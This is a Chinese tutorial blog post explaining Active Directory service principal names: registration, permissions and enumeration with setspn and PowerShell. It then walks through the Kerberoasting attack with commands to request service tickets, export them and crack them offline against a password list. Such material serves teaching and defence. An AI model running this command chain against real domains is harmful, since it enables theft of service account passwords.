服务主体名称SPN

SPN是什么?

在我们了解SPN之前,我们需要去了解一下Active Directory域中的服务概念是什么。

服务实际上是一种功能,一种软件,可以被域内成员使用的东西,例如Web服务,网络共享服务,DNS服务,打印服务等等。

这些都是服务的概念。

那么同一个服务可以在不同主机下运行,例如打印服务,他并不是专属于这一个主机的,它可以应用于多个主机,给多个主机提供打印文件的服务,所以我们需要指定主机,而一台计算机可以承载多个服务,所以我们需要指定服务。这样的话,我们就可以准确的指定服务给那台计算机服务。

这两个合起来就是服务主体名称或者也可以叫做SPN。

例如:
服务类/主机名或者域名
服务类实际上是服务的一个通用名称,例如所有的Web服务都归于www类,SQL服务可以归为SqlServer类。

如果服务在自定义端口上面运行,你可以将这个端口加到主机名后面。
xxxxxxxxxx 服务类/主机名或者域名:端口
或者也可以命名SPN。

如果我想在上面指定一个Web服务:WEB-SERVER-01 SPN如下:

这里的www就是服务类。
www/WEB-SERVER-01
要么就是
www/WEB-SERVER-01.relaysec.com
如下是Kerberos票据中服务的SPN。

这个票据表示有人在域内请求dc.relaysec.com的cifs服务后创建的。
在这里插入图片描述
有大量的服务类,这里是Microsoft 文档中内置的一个列表。

这里服务类中有例如CIFS与文件共享的服务,DNS 域名解析服务,spooler打印服务等等,但是这里面并不详细,例如没有SQLserver或者Ldap目录服务类。这些类通常可以在AD环境中找到。
在这里插入图片描述
在AD域中的对象SPN属性有一种特殊的情况,它是HoST SPN。
在这里插入图片描述
因此如果用户在AD域上不仅会查找www/USER-WIN7,也会查找Host/USER-WIN7,如果主机有Host SPN,那么也一位着它也有www SPN。

SPN分为两种类型:

一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。

.一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。

在Windows域里,默认普通机器账号有权注册SPN:
setspn -A MSSQLSvc/user-win7.relaysec.com user-win7
在这里插入图片描述在user-win7这台机器上的servicePrincipalNames属性查看。
在这里插入图片描述
可以看到已经注册进来了。

但是普通域用户是不能注册SPN的。
在这里插入图片描述可以看到hack这个用户的权限是不够的。

这样就会导致一个问题,如果SqlServer使用 Local SysTem account来启动的话,kerberos就能认证成功,这时候就可以在DC上注册SPN,如果用一个普通用户的话,kerberos就不能成功,因为这时候SPN注册不上去。那么为了解决这个问题,我们可以在DC上赋予域账号Read servicePrincipalName和Write serverPrincipalName的权限,在ACL中添加ACE即可。

注意这里不是通过活动目录查找的,这里需要通过ADSI编辑器,然后右击连接,默认即可。
在这里插入图片描述
然后将下面红框中的选项勾选即可。这里选择主体 SELF。
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
可以看到现在就可以注册了。
在这里插入图片描述### 查找域内存在的SPN

使用过滤器进行查找(servicePrincipalName=*),也就是servicePrincipalName属性,也可以使用setSpn。

在这里插入图片描述
使用Setspn
Setspn -Q */*
在这里插入图片描述
使用powershell
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"") $search.filter = "(servicePrincipalName=*)" $results = $search.Findall()foreach($result in $results) { $userEntry = $result.GetDirectoryEntry() Write-host "Object : " $userEntry.name "(" $userEntry.distinguishedName ")" Write-host "List SPN :" foreach($SPN in $userEntry.servicePrincipalName) { Write-Host $SPN } Write-host ""}
在这里插入图片描述如果我们想查看具体一个或者多个的SPN用户账户。
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"") $search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" $results = $search.Findall()foreach($result in $results){ $userEntry = $result.GetDirectoryEntry() Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")" Write-host "SPNs" foreach($SPN in $userEntry.servicePrincipalName) { $SPN } Write-host ""}

kerberoasting攻击

kerberoastring攻击是出在TGS_REP阶段的,由于ST服务票据是使用服务的Hash进行加密的,所以如果我们能获取到ST服务票据,就可以对该ST服务票据进行暴力破解,得到服务的Hash,在TGS_REP这一阶段并不会验证客户端是否有权限访问服务端,因此这一步无论用户也没有访问服务的权限,只要TGT正确,都会返回ST服务票据,这也就是kerberoasting能利用的原因,任何一个域内用户都是去请求任何一个服务的ST服务票据。

攻击流程

1.攻击者提供一个正常的域用户密码进行认证,获得TGT

2.攻击者使用该TGT请求针对指定SPN的ST

3.KDC在验证身份后,返回服务Hash加密的ST,不管提供的域用户有没有对指定SPN服务的访问权限

4.攻击者本地离线爆破ST,获得SPN所链接账户的明文密码( 重点是密码字典

请求SPN

Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mssql/user-win7.relaysec.com"
在这里插入图片描述
导出票据
kerberos::list /export
在这里插入图片描述
破解票据
python3 tgsrepcrack.py pass.txt "2-40a10000-w10a$@MSSQLSvc~sqlsrv.test.com~1433-TEST.COM.kirbi"
如果得到的是一个有权注册SPN的域账号,也可以通过手动注册的方式来进行Kerberoasting攻击。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值